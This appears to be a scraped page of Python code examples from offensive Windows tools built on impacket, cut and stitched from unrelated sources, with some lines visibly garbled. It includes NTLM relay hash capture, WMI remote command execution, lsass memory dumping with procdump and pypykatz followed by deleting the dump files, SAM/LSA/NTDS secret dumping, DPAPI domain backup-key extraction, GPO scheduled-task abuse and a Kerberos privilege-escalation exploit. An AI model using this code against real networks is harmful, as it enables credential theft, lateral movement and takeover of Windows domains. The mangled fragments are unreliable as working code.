                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                connData['Authenticated'] = True

                self.do_attack(client)
                # Now continue with the server
            #############################################################

            respToken = SPNEGO_NegTokenResp()
            # accept-completed
            respToken['NegResult'] = b'\x00'
            # Let's store it in the connection data
            connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
        else:
            raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

        respSMBCommand['SecurityBufferOffset'] = 0x48
        respSMBCommand['SecurityBufferLength'] = len(respToken)
        respSMBCommand['Buffer'] = respToken.getData()

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
Ejemplo n.º 18
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            remoteHost = str(addr)
            print(remoteHost + ": starting WMI")
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                                 wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
                                                       NULL)
            iWbemLevel1Login.RemRelease()

            win32Process, _ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)

            print(remoteHost + ": deploying " + self.scanobj.surveyfile)
            self.shell.do_cd(self.scanobj.tgtdestdirectory)
            self.shell.do_put(self.scanobj.surveyfile)
            for reqFile in self.scanobj.requiredfiles:
                self.shell.do_put(reqFile)
                print(remoteHost + ": uploading " + reqFile)
            destsurveyfile = self.scanobj.surveyfile[self.scanobj.surveyfile.
                                                     rfind("/") + 1:]
            print(remoteHost + ": executing " + destsurveyfile)
            self.shell.onecmd("powershell -ep bypass ./" + destsurveyfile +
                              " -verbose")
            print(remoteHost + ": getting results")
            f = self.shell.do_get("SurveyResults.xml")
            os.rename(f, "results/SurveyResults-" + addr + ".xml")
            self.shell.onecmd("del " + destsurveyfile + " SurveyResults.xml")
            fh = open("log/" + addr + ".txt", 'wb')
            fh.write(self.shell.get_alloutput())
            fh.close()
            print(remoteHost + ":  finished")
            self.__outputBuffer = u''
        except (Exception, KeyboardInterrupt), e:
            import traceback
            traceback.print_exc()
            logging.error(str(e))
            fh = open("log/" + addr + ".txt", 'wb')
            fh.write(str(e))
            fh.close()
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
 def connect(self):
     self.__smbConnection = SMBConnection(self.__remoteName,
                                          self.__remoteHost)
     self.__smbConnection.login(self.__username, self.__password,
                                self.__domain, self.__lmhash, self.__nthash)
Ejemplo n.º 20
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
            iWbemLevel1Login.RemRelease()

            win32Process,_ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
        
        ## todo:
            ## Check OS 32 bit or 64 bit ##
            #cmmand = "wmic os get OSArchitecture"

            ### This is super hacky ###
            self.shell.do_put(PROC_PATH)
            command = "procdump64.exe -ma -accepteula lsass lsass.%s.dmp" % (addr)
            self.shell.onecmd(command)
            self.shell.do_get("lsass.%s.dmp"%(addr))
            self.shell.onecmd("del procdump64.exe")
            command = "del lsass.%s.dmp" % (addr)
            self.shell.onecmd(command)
            ### but it still works ###

            #raw_input("Press ENTER to continue")

            print(os.popen("pypykatz lsa minidump lsass.%s.dmp"%(addr)).read())

            if True:
                pass
            elif self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()
Ejemplo n.º 21
0
def main():
    # Init the example's logger theme
    logger.init()
    print version.BANNER
    parser = argparse.ArgumentParser(add_help=True,
                                     description="SMB client implementation.")

    parser.add_argument(
        'target',
        action='store',
        help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument(
        '-file',
        type=argparse.FileType('r'),
        help='input file with commands to execute in the mini shell')
    parser.add_argument('-debug',
                        action='store_true',
                        help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes',
                       action="store",
                       metavar="LMHASH:NTHASH",
                       help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass',
                       action="store_true",
                       help='don\'t ask for password (useful for -k)')
    group.add_argument(
        '-k',
        action="store_true",
        help='Use Kerberos authentication. Grabs credentials from ccache file '
        '(KRB5CCNAME) based on target parameters. If valid credentials '
        'cannot be found, it will use the ones specified in the command '
        'line')
    group.add_argument('-aesKey',
                       action="store",
                       metavar="hex key",
                       help='AES key to use for Kerberos Authentication '
                       '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument(
        '-dc-ip',
        action='store',
        metavar="ip address",
        help=
        'IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
        'the target parameter')
    group.add_argument(
        '-target-ip',
        action='store',
        metavar="ip address",
        help=
        'IP Address of the target machine. If omitted it will use whatever was specified as target. '
        'This is useful when target is the NetBIOS name and you cannot resolve it'
    )
    group.add_argument('-port',
                       choices=['139', '445'],
                       nargs='?',
                       default='445',
                       metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re
    domain, username, password, address = re.compile(
        '(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
            options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:"******"Executing commands from %s" % options.file.name)
            for line in options.file.readlines():
                if line[0] != '#':
                    print "# %s" % line,
                    shell.onecmd(line)
                else:
                    print line,
        else:
            shell.cmdloop()
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))
Ejemplo n.º 22
0
def connector(target, args, db, module, context, cmeserver):

    try:

        smb = SMBConnection(target, target, None, args.smb_port)

        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]

        #Get the remote ip address (in case the target is a hostname) 
        remote_ip = smb.getRemoteHost()

        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain     = smb.getServerDomain()
        servername = smb.getServerName()
        serveros   = smb.getServerOS()

        if not domain:
            domain = servername

        db.add_host(remote_ip, servername, domain, serveros)

        logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)})

        logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8')))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if args.mssql:
            instances = None
            logger.extra['port'] = args.mssql_port
            ms_sql = tds.MSSQL(target, args.mssql_port, logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(10)
            if len(instances) > 0:
                logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                for i, instance in enumerate(instances):
                    logger.highlight("Instance {}".format(i))
                    for key in instance.keys():
                        logger.highlight(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

        if args.username and (args.password or args.hash):
            conn = None

            if args.mssql and (instances is not None and len(instances) > 0):
                conn = tds.MSSQL(target, args.mssql_port, logger)
                conn.connect()
            elif not args.mssql:
                conn = SMBConnection(target, target, None, args.smb_port)

            if conn is None:
                return

            if args.domain:
                domain = args.domain

            connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver)

            if (connection.password is not None or connection.hash is not None) and connection.username is not None:
                if module is not None:

                    module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername})
                    context = Context(db, module_logger, args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, connection)

                    if hasattr(module, 'on_admin_login') and connection.admin_privs:
                        module.on_admin_login(context, connection)
                else:
                    if connection.admin_privs and (args.pscommand or args.command):

                        get_output = True if args.no_output is False else False
                        if args.mssql: args.exec_method = 'mssqlexec'

                        if args.command:
                            output = connection.execute(args.command, get_output=get_output, method=args.exec_method)

                        if args.pscommand:
                            output = connection.execute(create_ps_command(args.pscommand), get_output=get_output, method=args.exec_method)

                        logger.success('Executed command via {}'.format(args.exec_method))
                        buf = StringIO(output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    if args.mssql and args.mssql_query:
                        conn.sql_query(args.mssql_query)
                        query_output = conn.printRows()
                        
                        logger.success('Executed MSSQL query')
                        buf = StringIO(query_output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    elif not args.mssql:

                        if connection.admin_privs and (args.sam or args.lsa or args.ntds):
                            secrets_dump = DumpSecrets(connection, logger)

                            if args.sam:
                                secrets_dump.SAM_dump()

                            if args.lsa:
                                secrets_dump.LSA_dump()

                            if args.ntds:
                                secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history)

                        if connection.admin_privs and args.wdigest:
                            w_digest = WDIGEST(logger, connection.conn)

                            if args.wdigest == 'enable':
                                w_digest.enable()

                            elif args.wdigest == 'disable':
                                w_digest.disable()

                        if connection.admin_privs and args.uac:
                            UAC(connection.conn, logger).enum()

                        if args.spider:
                            spider = SMBSpider(logger, connection, args)
                            spider.spider(args.spider, args.depth)
                            spider.finish()

                        if args.enum_shares:
                            ShareEnum(connection.conn, logger).enum()

                        if args.enum_lusers or args.enum_disks or args.enum_sessions:
                            rpc_connection = RPCQUERY(connection, logger)

                            if args.enum_lusers:
                                rpc_connection.enum_lusers()

                            if args.enum_sessions:
                                rpc_connection.enum_sessions()

                            if args.enum_disks:
                                rpc_connection.enum_disks()

                        if args.pass_pol:
                            PassPolDump(logger, args.smb_port, connection).enum()

                        if args.enum_users:
                            SAMRDump(logger, args.smb_port, connection).enum()

                        if connection.admin_privs and args.wmi_query:
                            WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query)

                        if args.rid_brute:
                            LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force()

    except socket.error:
        return
Ejemplo n.º 23
0
    def run(self):
        if self.options.action.upper() == 'MASTERKEY':
            fp = open(options.file, 'rb')
            data = fp.read()
            mkf = MasterKeyFile(data)
            mkf.dump()
            data = data[len(mkf):]

            if mkf['MasterKeyLen'] > 0:
                mk = MasterKey(data[:mkf['MasterKeyLen']])
                data = data[len(mk):]

            if mkf['BackupKeyLen'] > 0:
                bkmk = MasterKey(data[:mkf['BackupKeyLen']])
                data = data[len(bkmk):]

            if mkf['CredHistLen'] > 0:
                ch = CredHist(data[:mkf['CredHistLen']])
                data = data[len(ch):]

            if mkf['DomainKeyLen'] > 0:
                dk = DomainKey(data[:mkf['DomainKeyLen']])
                data = data[len(dk):]

            if self.options.system and self.options.security and self.options.sid is None:
                # We have hives, let's try to decrypt with them
                self.getLSA()
                decryptedKey = mk.decrypt(self.dpapiSystem['UserKey'])
                if decryptedKey:
                    print('Decrypted key with UserKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey'])
                if decryptedKey:
                    print('Decrypted key with MachineKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey'])
                if decryptedKey:
                    print('Decrypted Backup key with UserKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey'])
                if decryptedKey:
                    print('Decrypted Backup key with MachineKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
            elif self.options.system and self.options.security:
                # Use SID + hash
                # We have hives, let's try to decrypt with them
                self.getLSA()
                key1, key2 = self.deriveKeysFromUserkey(
                    self.options.sid, self.dpapiSystem['UserKey'])
                decryptedKey = mk.decrypt(key1)
                if decryptedKey:
                    print('Decrypted key with UserKey + SID')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = bkmk.decrypt(key1)
                if decryptedKey:
                    print('Decrypted Backup key with UserKey + SID')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = mk.decrypt(key2)
                if decryptedKey:
                    print('Decrypted key with UserKey + SID')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = bkmk.decrypt(key2)
                if decryptedKey:
                    print('Decrypted Backup key with UserKey + SID')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
            elif self.options.key and self.options.sid:
                key = unhexlify(self.options.key[2:])
                key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key)
                decryptedKey = mk.decrypt(key1)
                if decryptedKey:
                    print('Decrypted key with key provided + SID')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = mk.decrypt(key2)
                if decryptedKey:
                    print('Decrypted key with key provided + SID')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
            elif self.options.key:
                key = unhexlify(self.options.key[2:])
                decryptedKey = mk.decrypt(key)
                if decryptedKey:
                    print('Decrypted key with key provided')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return

            elif self.options.pvk and dk:
                pvkfile = open(self.options.pvk, 'rb').read()
                key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):])
                private = privatekeyblob_to_pkcs1(key)
                cipher = PKCS1_v1_5.new(private)

                decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None)
                if decryptedKey:
                    domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(
                        decryptedKey)
                    key = domain_master_key[
                        'buffer'][:domain_master_key['cbMasterKey']]
                    print('Decrypted key with domain backup key provided')
                    print('Decrypted key: 0x%s' %
                          hexlify(key).decode('latin-1'))
                return

            elif self.options.sid and self.options.key is None:
                # Do we have a password?
                if self.options.password is None:
                    # Nope let's ask it
                    from getpass import getpass
                    password = getpass("Password:"******"Password:"******"Password:"******"G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"):
                buffer = crypto.decryptSecret(
                    connection.getSessionKey(),
                    lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
                                                  keyname))
                guid = bin_to_string(buffer)
                name = "G$BCKUPKEY_{}".format(guid)
                secret = crypto.decryptSecret(
                    connection.getSessionKey(),
                    lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
                                                  name))
                keyVersion = struct.unpack('<L', secret[:4])[0]
                if keyVersion == 1:  # legacy key
                    backup_key = P_BACKUP_KEY(secret)
                    backupkey = backup_key['Data']
                    if self.options.export:
                        logging.debug(
                            "Exporting key to file {}".format(name + ".key"))
                        open(name + ".key", 'wb').write(backupkey)
                    else:
                        print("Legacy key:")
                        print("0x%s" % hexlify(backupkey).decode('latin-1'))
                        print("\n")

                elif keyVersion == 2:  # preferred key
                    backup_key = PREFERRED_BACKUP_KEY(secret)
                    pvk = backup_key['Data'][:backup_key['KeyLength']]
                    cert = backup_key['Data'][
                        backup_key['KeyLength']:backup_key['KeyLength'] +
                        backup_key['CertificateLength']]

                    # build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk)
                    header = PVK_FILE_HDR()
                    header['dwMagic'] = 0xb0b5f11e
                    header['dwVersion'] = 0
                    header['dwKeySpec'] = 1
                    header['dwEncryptType'] = 0
                    header['cbEncryptData'] = 0
                    header['cbPvk'] = backup_key['KeyLength']
                    backupkey_pvk = header.getData() + pvk  # pvk blob

                    backupkey = backupkey_pvk
                    if self.options.export:
                        logging.debug(
                            "Exporting certificate to file {}".format(name +
                                                                      ".der"))
                        open(name + ".der", 'wb').write(cert)
                        logging.debug(
                            "Exporting private key to file {}".format(name +
                                                                      ".pvk"))
                        open(name + ".pvk", 'wb').write(backupkey)
                    else:
                        print("Preferred key:")
                        header.dump()
                        print("PRIVATEKEYBLOB:{%s}" %
                              (hexlify(backupkey).decode('latin-1')))
                        print("\n")
            return

        elif self.options.action.upper() == 'CREDENTIAL':
            fp = open(options.file, 'rb')
            data = fp.read()
            cred = CredentialFile(data)
            blob = DPAPI_BLOB(cred['Data'])

            if self.options.key is not None:
                key = unhexlify(self.options.key[2:])
                decrypted = blob.decrypt(key)
                if decrypted is not None:
                    creds = CREDENTIAL_BLOB(decrypted)
                    creds.dump()
                    return
            else:
                # Just print the data
                blob.dump()

        elif self.options.action.upper() == 'VAULT':
            if options.vcrd is None and options.vpol is None:
                print(
                    'You must specify either -vcrd or -vpol parameter. Type --help for more info'
                )
                return
            if options.vcrd is not None:
                fp = open(options.vcrd, 'rb')
                data = fp.read()
                blob = VAULT_VCRD(data)

                if self.options.key is not None:
                    key = unhexlify(self.options.key[2:])

                    cleartext = None
                    for i, entry in enumerate(blob.attributesLen):
                        if entry > 28:
                            attribute = blob.attributes[i]
                            if 'IV' in attribute.fields and len(
                                    attribute['IV']) == 16:
                                cipher = AES.new(key,
                                                 AES.MODE_CBC,
                                                 iv=attribute['IV'])
                            else:
                                cipher = AES.new(key, AES.MODE_CBC)
                            cleartext = cipher.decrypt(attribute['Data'])

                    if cleartext is not None:
                        # Lookup schema Friendly Name and print if we find one
                        if blob['FriendlyName'].decode(
                                'utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:
                            # Found one. Cast it and print
                            vault = VAULT_KNOWN_SCHEMAS[
                                blob['FriendlyName'].decode('utf-16le')[:-1]](
                                    cleartext)
                            vault.dump()
                        else:
                            # otherwise
                            hexdump(cleartext)
                        return
                else:
                    blob.dump()

            elif options.vpol is not None:
                fp = open(options.vpol, 'rb')
                data = fp.read()
                vpol = VAULT_VPOL(data)
                vpol.dump()

                if self.options.key is not None:
                    key = unhexlify(self.options.key[2:])
                    blob = vpol['Blob']
                    data = blob.decrypt(key)
                    if data is not None:
                        keys = VAULT_VPOL_KEYS(data)
                        keys.dump()
                        return

        print('Cannot decrypt (specify -key or -sid whenever applicable) ')
Ejemplo n.º 24
0
                username="",
                password="",
                lmhash="",
                nthash="",
                domain=""):
    try:
        smb_session = SMBConnection(address, target_ip)
        smb_session.login(username, password, domain, lmhash, nthash)
        return smb_session
    except Exception as e:
        logging.error("Connection error")
        return False


try:
    smb_session = SMBConnection(dc_ip, dc_ip)
    smb_session.login(username, password, domain, lmhash, nthash)
except Exception as e:
    logging.error("SMB connection error", exc_info=True)
    sys.exit(1)

try:
    gpo = GPO(smb_session)
    task_name = gpo.update_scheduled_task(
        domain=domain,
        gpo_id=options.gpo_id,
        name=options.taskname,
        mod_date=options.mod_date,
        description=options.description,
        powershell=options.powershell,
        command=options.command,
Ejemplo n.º 25
0
    def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.chain_list = chain_list
        self.cmeserver = cmeserver
        self.share_name = share_name
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0
        
        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname) 
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host, 
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'), 
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
                
                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()
                
                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if (self.password is not None or self.hash is not None) and self.username is not None:

                if self.module or self.chain_list:

                    if self.chain_list:
                        module = self.chain_list[0]['object']

                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(), 
                                                                  'host': self.host, 
                                                                  'port': self.args.smb_port, 
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if self.module:

                        launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
                        payload = module.payload(context, None if not hasattr(module, 'command') else module.command)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self, launcher, payload)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                    elif self.chain_list:
                        module_list = self.chain_list[:]
                        module_list.reverse()

                        final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
                        if len(module_list) > 2:
                            for m in module_list:
                                if m['object'] == module or m['object'] == module_list[0]['object']:
                                    continue
                                
                                final_launcher = m['object'].launcher(context, final_launcher)

                        if module == module_list[0]['object']: 
                            final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
                        
                        launcher = module.launcher(context, final_launcher)
                        payload  = module.payload(context, final_launcher)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                elif self.module is None and self.chain_list is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()
Ejemplo n.º 26
0
    def __init__(self, SMBClient, command):
        # Thread.__init__(self)

        self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        self.__command = command
        self.__answerTMP = ''
Ejemplo n.º 27
0
 def connect_transferClient(self):
     self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
                                         preferredDialect=dialect)
     user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
     self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
Ejemplo n.º 28
0
                # Success!
                logging.info('%s found vulnerable!' % dc)
                break
            else:
                logging.info('%s seems not vulnerable (%s)' % (dc, exception))

        if exception is None:
            TGS = {}
            TGS['KDC_REP'] = tgsCIFS
            TGS['cipher'] = cipher
            TGS['oldSessionKey'] = oldSessionKeyCIFS
            TGS['sessionKey'] = sessionKeyCIFS

            from impacket.smbconnection import SMBConnection
            if self.__targetIp is None:
                s = SMBConnection('*SMBSERVER', self.__target)
            else:
                s = SMBConnection('*SMBSERVER', self.__targetIp)
            s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
                            useCache=False)

            if self.__command != 'None':
                executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
                executer.run(self.__target)

if __name__ == '__main__':
    # Init the example's logger theme
    logger.init()
    import argparse
    import sys
    try:
Ejemplo n.º 29
0
 def connect(self):
     self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile,
                              self.__dstport, self.__timeout)
Ejemplo n.º 30
0
    def initConnection(self):
        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     manualNegotiate=True)
        #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(
                None,
                self.targetHost,
                self.targetHost,
                self.targetPort,
                60,
                self.extendedSecurity,
                flags1=SMB.FLAGS1_PATHCASELESS
                | SMB.FLAGS1_CANONICALIZED_PATHS,
                flags2=flags2,
                data=data)
        except socketerror as e:
            if 'reset by peer' in str(e):
                if not self.serverConfig.smb2support:
                    LOG.error(
                        'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support'
                    )
                else:
                    LOG.error('SMBCLient error: Connection was reset')
            else:
                LOG.error('SMBCLient error: %s' % str(e))
            return False
        if packet[0:1] == b'\xfe':
            preferredDialect = None
            # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
            if self.serverConfig.remove_target:
                preferredDialect = SMB2_DIALECT_21
            smbClient = MYSMB3(self.targetHost,
                               self.targetPort,
                               self.extendedSecurity,
                               nmbSession=self.session.getNMBServer(),
                               negPacket=packet,
                               preferredDialect=preferredDialect)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost,
                              self.targetPort,
                              self.extendedSecurity,
                              nmbSession=self.session.getNMBServer(),
                              negPacket=packet)

        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     existingConnection=smbClient,
                                     manualNegotiate=True)

        return True